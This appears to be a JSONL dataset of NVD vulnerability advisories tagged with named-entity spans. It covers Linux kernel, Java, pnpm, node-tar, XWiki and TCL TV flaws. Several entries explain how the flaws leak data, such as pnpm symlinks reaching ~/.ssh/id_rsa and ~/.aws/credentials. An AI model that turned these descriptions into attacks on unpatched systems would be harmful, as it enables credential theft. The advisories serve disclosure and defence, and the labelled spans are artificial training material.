{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs/fscache: Add a memory barrier for FSCACHE_VOLUME_CREATING\n\nIn fscache_create_volume(), there is a missing memory barrier between the\nbit-clearing operation and the wake-up operation. This may cause a\nsituation where, after a wake-up, the bit-clearing operation hasn't been\ndetected yet, leading to an indefinite wait. The triggering process is as\nfollows:\n\n  [cookie1]                [cookie2]                  [volume_work]\nfscache_perform_lookup\n  fscache_create_volume\n                        fscache_perform_lookup\n                          fscache_create_volume\n\t\t\t                        fscache_create_volume_work\n                                                  cachefiles_acquire_volume\n                                                  clear_and_wake_up_bit\n    test_and_set_bit\n                            test_and_set_bit\n                              goto maybe_wait\n      goto no_wait\n\nIn the above process, cookie1 and cookie2 has the same volume. When cookie1\nenters the -no_wait- process, it will clear the bit and wake up the waiting\nprocess. If a barrier is missing, it may cause cookie2 to remain in the\n-wait- process indefinitely.\n\nIn commit 3288666c7256 (\"fscache: Use clear_and_wake_up_bit() in\nfscache_create_volume_work()\"), barriers were added to similar operations\nin fscache_create_volume_work(), but fscache_create_volume() was missed.\n\nBy combining the clear and wake operations into clear_and_wake_up_bit() to\nfix this issue.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56755"}}
{"text": "Vulnerability in the Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Java SE: 8u301, 11.0.12, 17; Oracle GraalVM Enterprise Edition: 20.3.3 and 21.2.0. Easily exploitable vulnerability allows low privileged attacker with network access via Kerberos to compromise Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Java SE, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 6.8 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [82, 86], [155, 159], [349, 353], [510, 514], [726, 730], [822, 826], [879, 883], [920, 924], [1025, 1029]], "ORGANIZATION: Oracle": [[30, 36], [75, 81], [184, 190], [358, 364], [519, 525], [735, 741]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-35567"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to don't panic system for no free segment fault injection\n\nf2fs: fix to don't panic system for no free segment fault injection\n\nsyzbot reports a f2fs bug as below:\n\nF2FS-fs (loop0): inject no free segment in get_new_segment of __allocate_new_segment+0x1ce/0x940 fs/f2fs/segment.c:3167\nF2FS-fs (loop0): Stopped filesystem due to reason: 7\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/segment.c:2748!\nCPU: 0 UID: 0 PID: 5109 Comm: syz-executor304 Not tainted 6.11.0-rc6-syzkaller-00363-g89f5e14d05b4 #0\nRIP: 0010:get_new_segment fs/f2fs/segment.c:2748 [inline]\nRIP: 0010:new_curseg+0x1f61/0x1f70 fs/f2fs/segment.c:2836\nCall Trace:\n __allocate_new_segment+0x1ce/0x940 fs/f2fs/segment.c:3167\n f2fs_allocate_new_section fs/f2fs/segment.c:3181 [inline]\n f2fs_allocate_pinning_section+0xfa/0x4e0 fs/f2fs/segment.c:3195\n f2fs_expand_inode_data+0x5d6/0xbb0 fs/f2fs/file.c:1799\n f2fs_fallocate+0x448/0x960 fs/f2fs/file.c:1903\n vfs_fallocate+0x553/0x6c0 fs/open.c:334\n do_vfs_ioctl+0x2592/0x2e50 fs/ioctl.c:886\n __do_sys_ioctl fs/ioctl.c:905 [inline]\n __se_sys_ioctl+0x81/0x170 fs/ioctl.c:893\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0010:get_new_segment fs/f2fs/segment.c:2748 [inline]\nRIP: 0010:new_curseg+0x1f61/0x1f70 fs/f2fs/segment.c:2836\n\nThe root cause is when we inject no free segment fault into f2fs,\nwe should not panic system, fix it.", "spans": {"FILEPATH: /f2fs/segment.c": [[343, 358], [470, 485], [622, 637], [689, 704], [760, 775], [810, 825], [884, 899], [1350, 1365], [1417, 1432]], "FILEPATH: /f2fs/file.c": [[943, 955], [991, 1003]], "FILEPATH: /x86/entry/common.c": [[1195, 1214], [1257, 1276]], "FILEPATH: open.c": [[1039, 1045]], "FILEPATH: ioctl.c": [[1081, 1088], [1112, 1119], [1163, 1170]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49887"}}
{"text": "pnpm is a package manager. Prior to version 10.28.2, when pnpm installs a `file:` (directory) or `git:` dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., `/etc/passwd`, `~/.ssh/id_rsa`) causes pnpm to copy that file's contents into `node_modules`, leaking local data. The vulnerability only affects `file:` and `git:` dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected. The issue impacts developers installing local/file dependencies andCI/CD pipelines installing git dependencies. It can lead to credential theft via symlinks to `~/.aws/credentials`, `~/.npmrc`, `~/.ssh/id_rsa`. Version 10.28.2 contains a patch.", "spans": {"FILEPATH: /etc/passwd": [[284, 295]], "FILEPATH: /.ssh/id_rsa": [[300, 312], [741, 753]], "FILEPATH: /.aws/credentials": [[707, 724]], "ORGANIZATION: npm": [[480, 483]], "VULNERABILITY: symlink": [[248, 255]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24056"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause undefined behavior via binding a reference to null pointer in all binary cwise operations that don't require broadcasting (e.g., gradients of binary cwise operations). The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/cwise_ops_common.h#L264) assumes that the two inputs have exactly the same number of elements but does not check that. Hence, when the eigen functor executes it triggers heap OOB reads and undefined behavior due to binding to nullptr. We have patched the issue in GitHub commit 93f428fd1768df147171ed674fee1fc5ab8309ec. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/cwise_ops_common.h#L264": [[303, 437]], "HASH: 93f428fd1768df147171ed674fee1fc5ab8309ec": [[692, 732]], "ORGANIZATION: GitHub": [[678, 684]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37659"}}
{"text": "Kimai is an open-source time tracking application. In versions 2.52.0 and below, the User Preferences API endpoint (PATCH /api/users/{id}/preferences) applies submitted preference values without checking the isEnabled() flag on preference objects. Although the hourly_rate and internal_rate fields are correctly marked as disabled for users lacking the hourly-rate role permission, the API ignores this restriction and saves the values directly. Any authenticated user can modify their own billing rates through this endpoint, resulting in unauthorized financial tampering affecting invoices and timesheet calculations. This issue has been fixed in version 2.53.0.", "spans": {"FILEPATH: /api/users": [[122, 132]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40486"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath12k: fix kernel crash during resume\n\nCurrently during resume, QMI target memory is not properly handled, resulting\nin kernel crash in case DMA remap is not supported:\n\nBUG: Bad page state in process kworker/u16:54  pfn:36e80\npage: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x36e80\npage dumped because: nonzero _refcount\nCall Trace:\n bad_page\n free_page_is_bad_report\n __free_pages_ok\n __free_pages\n dma_direct_free\n dma_free_attrs\n ath12k_qmi_free_target_mem_chunk\n ath12k_qmi_msg_mem_request_cb\n\nThe reason is:\nOnce ath12k module is loaded, firmware sends memory request to host. In case\nDMA remap not supported, ath12k refuses the first request due to failure in\nallocating with large segment size:\n\nath12k_pci 0000:04:00.0: qmi firmware request memory request\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 7077888\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 8454144\nath12k_pci 0000:04:00.0: qmi dma allocation failed (7077888 B type 1), will try later with small size\nath12k_pci 0000:04:00.0: qmi delays mem_request 2\nath12k_pci 0000:04:00.0: qmi firmware request memory request\n\nLater firmware comes back with more but small segments and allocation\nsucceeds:\n\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 262144\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 524288\nath12k_pci 0000:04:00.0: qmi mem seg type 4 size 65536\nath12k_pci 0000:04:00.0: qmi mem seg type 1 size 524288\n\nNow ath12k is working. If suspend is triggered, firmware will be reloaded\nduring resume. As same as before, firmware requests two large segments at\nfirst. In ath12k_qmi_msg_mem_request_cb() segment count and size are\nassigned:\n\n\tab->qmi.mem_seg_count == 2\n\tab->qmi.target_mem[0].size == 7077888\n\tab->qmi.target_mem[1].size == 8454144\n\nThen allocation failed like before and ath12k_qmi_free_target_mem_chunk()\nis called to free all allocated segments. Note the first segment is skipped\nbecause its v.addr is cleared due to allocation failure:\n\n\tchunk->v.addr = dma_alloc_coherent()\n\nAlso note that this leaks that segment because it has not been freed.\n\nWhile freeing the second segment, a size of 8454144 is passed to\ndma_free_coherent(). However remember that this segment is allocated at\nthe first time firmware is loaded, before suspend. So its real size is\n524288, much smaller than 8454144. As a result kernel found we are freeing\nsome memory which is in use and thus cras\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40979"}}
{"text": "node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`. As a workaround, users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.", "spans": {"FILEPATH: Node.js": [[19, 26]], "FILEPATH: reservations.js": [[1353, 1368]], "SYSTEM: macOS": [[272, 277], [880, 885]], "ORGANIZATION: npm": [[1721, 1724]], "VULNERABILITY: race condition": [[34, 48]], "VULNERABILITY: Race Condition": [[762, 776]], "VULNERABILITY: Symlink": [[493, 500]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23950"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nremoteproc: core: Clear table_sz when rproc_shutdown\n\nThere is case as below could trigger kernel dump:\nUse U-Boot to start remote processor(rproc) with resource table\npublished to a fixed address by rproc. After Kernel boots up,\nstop the rproc, load a new firmware which doesn't have resource table\n,and start rproc.\n\nWhen starting rproc with a firmware not have resource table,\n`memcpy(loaded_table, rproc->cached_table, rproc->table_sz)` will\ntrigger dump, because rproc->cache_table is set to NULL during the last\nstop operation, but rproc->table_sz is still valid.\n\nThis issue is found on i.MX8MP and i.MX9.\n\nDump as below:\nUnable to handle kernel NULL pointer dereference at virtual address 0000000000000000\nMem abort info:\n  ESR = 0x0000000096000004\n  EC = 0x25: DABT (current EL), IL = 32 bits\n  SET = 0, FnV = 0\n  EA = 0, S1PTW = 0\n  FSC = 0x04: level 0 translation fault\nData abort info:\n  ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000\n  CM = 0, WnR = 0, TnD = 0, TagAccess = 0\n  GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\nuser pgtable: 4k pages, 48-bit VAs, pgdp=000000010af63000\n[0000000000000000] pgd=0000000000000000, p4d=0000000000000000\nInternal error: Oops: 0000000096000004 [#1] PREEMPT SMP\nModules linked in:\nCPU: 2 UID: 0 PID: 1060 Comm: sh Not tainted 6.14.0-rc7-next-20250317-dirty #38\nHardware name: NXP i.MX8MPlus EVK board (DT)\npstate: a0000005 (NzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : __pi_memcpy_generic+0x110/0x22c\nlr : rproc_start+0x88/0x1e0\nCall trace:\n __pi_memcpy_generic+0x110/0x22c (P)\n rproc_boot+0x198/0x57c\n state_store+0x40/0x104\n dev_attr_store+0x18/0x2c\n sysfs_kf_write+0x7c/0x94\n kernfs_fop_write_iter+0x120/0x1cc\n vfs_write+0x240/0x378\n ksys_write+0x70/0x108\n __arm64_sys_write+0x1c/0x28\n invoke_syscall+0x48/0x10c\n el0_svc_common.constprop.0+0xc0/0xe0\n do_el0_svc+0x1c/0x28\n el0_svc+0x30/0xcc\n el0t_64_sync_handler+0x10c/0x138\n el0t_64_sync+0x198/0x19c\n\nClear rproc->table_sz to address the issue.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[722, 746]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38152"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In affected versions there is a cross site scripting (XSS) vector in the `registerinline.vm` template related to the `xredirect` hidden field. This template is only used in the following conditions: 1. The wiki must be open to registration for anyone. 2. The wiki must be closed to view for Guest users or more specifically the XWiki.Registration page must be forbidden in View for guest user. A way to obtain the second condition is when administrators checked the \"Prevent unregistered users from viewing pages, regardless of the page rights\" box in the administration rights. This issue is patched in versions 12.10.11, 14.0-rc-1, 13.4.7, 13.10.3. There are two main ways for protecting against this vulnerability, the easiest and the best one is by applying a patch in the `registerinline.vm` template, the patch consists in checking the value of the xredirect field to ensure it matches: `<input type=\"hidden\" name=\"xredirect\" value=\"$escapetool.xml($!request.xredirect)\" />`. If for some reason it's not possible to patch this file, another workaround is to ensure \"Prevent unregistered users from viewing pages, regardless of the page rights\" is not checked in the rights and apply a better right scheme using groups and rights on spaces.", "spans": {"FILEPATH: escapetool.xml": [[1045, 1059]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23622"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 17.0.3.1; Oracle GraalVM Enterprise Edition: 21.3.2 and 22.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).", "spans": {"IP_ADDRESS: 17.0.3.1": [[178, 186]], "SYSTEM: Java": [[28, 32], [89, 93], [169, 173], [371, 375], [533, 537], [629, 633], [686, 690], [727, 731], [832, 836]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [162, 168], [188, 194], [364, 370], [380, 386], [526, 532], [542, 548]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21549"}}
{"text": "Vulnerability in the Oracle Financial Services Asset Liability Management product of Oracle Financial Services Applications (component: User Interface). Supported versions that are affected are 8.0.6 and 8.0.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Asset Liability Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financial Services Asset Liability Management accessible data as well as unauthorized read access to a subset of Oracle Financial Services Asset Liability Management accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [85, 91], [318, 324], [506, 512], [626, 632]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2939"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nkernel/kexec: fix IMA when allocation happens in CMA area\n\n*** Bug description ***\n\nWhen I tested kexec with the latest kernel, I ran into the following warning:\n\n[   40.712410] ------------[ cut here ]------------\n[   40.712576] WARNING: CPU: 2 PID: 1562 at kernel/kexec_core.c:1001 kimage_map_segment+0x144/0x198\n[...]\n[   40.816047] Call trace:\n[   40.818498]  kimage_map_segment+0x144/0x198 (P)\n[   40.823221]  ima_kexec_post_load+0x58/0xc0\n[   40.827246]  __do_sys_kexec_file_load+0x29c/0x368\n[...]\n[   40.855423] ---[ end trace 0000000000000000 ]---\n\n*** How to reproduce ***\n\nThis bug is only triggered when the kexec target address is allocated in\nthe CMA area. If no CMA area is reserved in the kernel, use the \"cma=\"\noption in the kernel command line to reserve one.\n\n*** Root cause ***\nThe commit 07d24902977e (\"kexec: enable CMA based contiguous\nallocation\") allocates the kexec target address directly on the CMA area\nto avoid copying during the jump. In this case, there is no IND_SOURCE\nfor the kexec segment.  But the current implementation of\nkimage_map_segment() assumes that IND_SOURCE pages exist and map them\ninto a contiguous virtual address by vmap().\n\n*** Solution ***\nIf IMA segment is allocated in the CMA area, use its page_address()\ndirectly.", "spans": {"FILEPATH: kexec_core.c": [[335, 347]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71139"}}
{"text": "A vulnerability in the TCL Android Smart TV series V8-R851T02-LF1 V295 and below and V8-T658T01-LF1 V373 and below by TCL Technology Group Corporation allows an attacker on the adjacent network to arbitrarily browse and download sensitive files over an insecure web server running on port 7989 that lists all files & directories. An unprivileged remote attacker on the adjacent network, can download most system files, leading to serious critical information disclosure. Also, some TV models and/or FW versions may expose the webserver with the entire filesystem accessible on another port. For example, nmap scan for all ports run directly from the TV model U43P6046 (Android 8.0) showed port 7983 not mentioned in the original CVE description, but containing the same directory listing of the entire filesystem. This webserver is bound (at least) to localhost interface and accessible freely to all unprivileged installed apps on the Android such as a regular web browser. Any app can therefore read any files of any other apps including Android system settings including sensitive data such as saved passwords, private keys etc.", "spans": {"SYSTEM: Android": [[27, 34], [669, 676], [936, 943], [1040, 1047]], "SYSTEM: V8": [[51, 53], [85, 87]], "VULNERABILITY: information disclosure": [[447, 469]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-27403"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Libraries). Supported versions that are affected are Java SE: 8u251, 11.0.7 and 14.0.1; Java SE Embedded: 8u251. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE, Java SE Embedded accessible data as well as unauthorized read access to a subset of Java SE, Java SE Embedded accessible data. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [138, 142], [173, 177], [322, 326], [331, 335], [460, 464], [469, 473], [553, 557], [562, 566], [645, 649], [705, 709], [747, 751], [863, 867], [904, 908]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14556"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath10k: add peer map clean up for peer delete in ath10k_sta_state()\n\nWhen peer delete failed in a disconnect operation, use-after-free\ndetected by KFENCE in below log. It is because for each vdev_id and\naddress, it has only one struct ath10k_peer, it is allocated in\nath10k_peer_map_event(). When connected to an AP, it has more than\none HTT_T2H_MSG_TYPE_PEER_MAP reported from firmware, then the\narray peer_map of struct ath10k will be set muti-elements to the\nsame ath10k_peer in ath10k_peer_map_event(). When peer delete failed\nin ath10k_sta_state(), the ath10k_peer will be free for the 1st peer\nid in array peer_map of struct ath10k, and then use-after-free happened\nfor the 2nd peer id because they map to the same ath10k_peer.\n\nAnd clean up all peers in array peer_map for the ath10k_peer, then\nuser-after-free disappeared\n\npeer map event log:\n[  306.911021] wlan0: authenticate with b0:2a:43:e6:75:0e\n[  306.957187] ath10k_pci 0000:01:00.0: mac vdev 0 peer create b0:2a:43:e6:75:0e (new sta) sta 1 / 32 peer 1 / 33\n[  306.957395] ath10k_pci 0000:01:00.0: htt peer map vdev 0 peer b0:2a:43:e6:75:0e id 246\n[  306.957404] ath10k_pci 0000:01:00.0: htt peer map vdev 0 peer b0:2a:43:e6:75:0e id 198\n[  306.986924] ath10k_pci 0000:01:00.0: htt peer map vdev 0 peer b0:2a:43:e6:75:0e id 166\n\npeer unmap event log:\n[  435.715691] wlan0: deauthenticating from b0:2a:43:e6:75:0e by local choice (Reason: 3=DEAUTH_LEAVING)\n[  435.716802] ath10k_pci 0000:01:00.0: mac vdev 0 peer delete b0:2a:43:e6:75:0e sta ffff990e0e9c2b50 (sta gone)\n[  435.717177] ath10k_pci 0000:01:00.0: htt peer unmap vdev 0 peer b0:2a:43:e6:75:0e id 246\n[  435.717186] ath10k_pci 0000:01:00.0: htt peer unmap vdev 0 peer b0:2a:43:e6:75:0e id 198\n[  435.717193] ath10k_pci 0000:01:00.0: htt peer unmap vdev 0 peer b0:2a:43:e6:75:0e id 166\n\nuse-after-free log:\n[21705.888627] wlan0: deauthenticating from d0:76:8f:82:be:75 by local choice (Reason: 3=DEAUTH_LEAVING)\n[21713.799910] ath10k_pci 0000:01:00.0: failed to delete peer d0:76:8f:82:be:75 for vdev 0: -110\n[21713.799925] ath10k_pci 0000:01:00.0: found sta peer d0:76:8f:82:be:75 (ptr 0000000000000000 id 102) entry on vdev 0 after it was supposedly removed\n[21713.799968] ==================================================================\n[21713.799991] BUG: KFENCE: use-after-free read in ath10k_sta_state+0x265/0xb8a [ath10k_core]\n[21713.799991]\n[21713.799997] Use-after-free read at 0x00000000abe1c75e (in kfence-#69):\n[21713.800010]  ath10k_sta_state+0x265/0xb8a [ath10k_core]\n[21713.800041]  drv_sta_state+0x115/0x677 [mac80211]\n[21713.800059]  __sta_info_destroy_part2+0xb1/0x133 [mac80211]\n[21713.800076]  __sta_info_flush+0x11d/0x162 [mac80211]\n[21713.800093]  ieee80211_set_disassoc+0x12d/0x2f4 [mac80211]\n[21713.800110]  ieee80211_mgd_deauth+0x26c/0x29b [mac80211]\n[21713.800137]  cfg80211_mlme_deauth+0x13f/0x1bb [cfg80211]\n[21713.800153]  nl80211_deauthenticate+0xf8/0x121 [cfg80211]\n[21713.800161]  genl_rcv_msg+0x38e/0x3be\n[21713.800166]  netlink_rcv_skb+0x89/0xf7\n[21713.800171]  genl_rcv+0x28/0x36\n[21713.800176]  netlink_unicast+0x179/0x24b\n[21713.800181]  netlink_sendmsg+0x3a0/0x40e\n[21713.800187]  sock_sendmsg+0x72/0x76\n[21713.800192]  ____sys_sendmsg+0x16d/0x1e3\n[21713.800196]  ___sys_sendmsg+0x95/0xd1\n[21713.800200]  __sys_sendmsg+0x85/0xbf\n[21713.800205]  do_syscall_64+0x43/0x55\n[21713.800210]  entry_SYSCALL_64_after_hwframe+0x44/0xa9\n[21713.800213]\n[21713.800219] kfence-#69: 0x000000009149b0d5-0x000000004c0697fb, size=1064, cache=kmalloc-2k\n[21713.800219]\n[21713.800224] allocated by task 13 on cpu 0 at 21705.501373s:\n[21713.800241]  ath10k_peer_map_event+0x7e/0x154 [ath10k_core]\n[21713.800254]  ath10k_htt_t2h_msg_handler+0x586/0x1039 [ath10k_core]\n[21713.800265]  ath10k_htt_htc_t2h_msg_handler+0x12/0x28 [ath10k_core]\n[21713.800277]  ath10k_htc_rx_completion_handler+0x14c/0x1b5 [ath10k_core]\n[21713.800283]  ath10k_pci_process_rx_cb+0x195/0x1d\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[195, 209], [723, 737], [1886, 1900], [2369, 2383]], "VULNERABILITY: Use-after-free": [[2465, 2479]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50880"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nhfsplus: fix slab-out-of-bounds read in hfsplus_strcasecmp()\n\nThe hfsplus_strcasecmp() logic can trigger the issue:\n\n[  117.317703][ T9855] ==================================================================\n[  117.318353][ T9855] BUG: KASAN: slab-out-of-bounds in hfsplus_strcasecmp+0x1bc/0x490\n[  117.318991][ T9855] Read of size 2 at addr ffff88802160f40c by task repro/9855\n[  117.319577][ T9855]\n[  117.319773][ T9855] CPU: 0 UID: 0 PID: 9855 Comm: repro Not tainted 6.17.0-rc6 #33 PREEMPT(full)\n[  117.319780][ T9855] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[  117.319783][ T9855] Call Trace:\n[  117.319785][ T9855]  <TASK>\n[  117.319788][ T9855]  dump_stack_lvl+0x1c1/0x2a0\n[  117.319795][ T9855]  ? __virt_addr_valid+0x1c8/0x5c0\n[  117.319803][ T9855]  ? __pfx_dump_stack_lvl+0x10/0x10\n[  117.319808][ T9855]  ? rcu_is_watching+0x15/0xb0\n[  117.319816][ T9855]  ? lock_release+0x4b/0x3e0\n[  117.319821][ T9855]  ? __kasan_check_byte+0x12/0x40\n[  117.319828][ T9855]  ? __virt_addr_valid+0x1c8/0x5c0\n[  117.319835][ T9855]  ? __virt_addr_valid+0x4a5/0x5c0\n[  117.319842][ T9855]  print_report+0x17e/0x7e0\n[  117.319848][ T9855]  ? __virt_addr_valid+0x1c8/0x5c0\n[  117.319855][ T9855]  ? __virt_addr_valid+0x4a5/0x5c0\n[  117.319862][ T9855]  ? __phys_addr+0xd3/0x180\n[  117.319869][ T9855]  ? hfsplus_strcasecmp+0x1bc/0x490\n[  117.319876][ T9855]  kasan_report+0x147/0x180\n[  117.319882][ T9855]  ? hfsplus_strcasecmp+0x1bc/0x490\n[  117.319891][ T9855]  hfsplus_strcasecmp+0x1bc/0x490\n[  117.319900][ T9855]  ? __pfx_hfsplus_cat_case_cmp_key+0x10/0x10\n[  117.319906][ T9855]  hfs_find_rec_by_key+0xa9/0x1e0\n[  117.319913][ T9855]  __hfsplus_brec_find+0x18e/0x470\n[  117.319920][ T9855]  ? __pfx_hfsplus_bnode_find+0x10/0x10\n[  117.319926][ T9855]  ? __pfx_hfs_find_rec_by_key+0x10/0x10\n[  117.319933][ T9855]  ? __pfx___hfsplus_brec_find+0x10/0x10\n[  117.319942][ T9855]  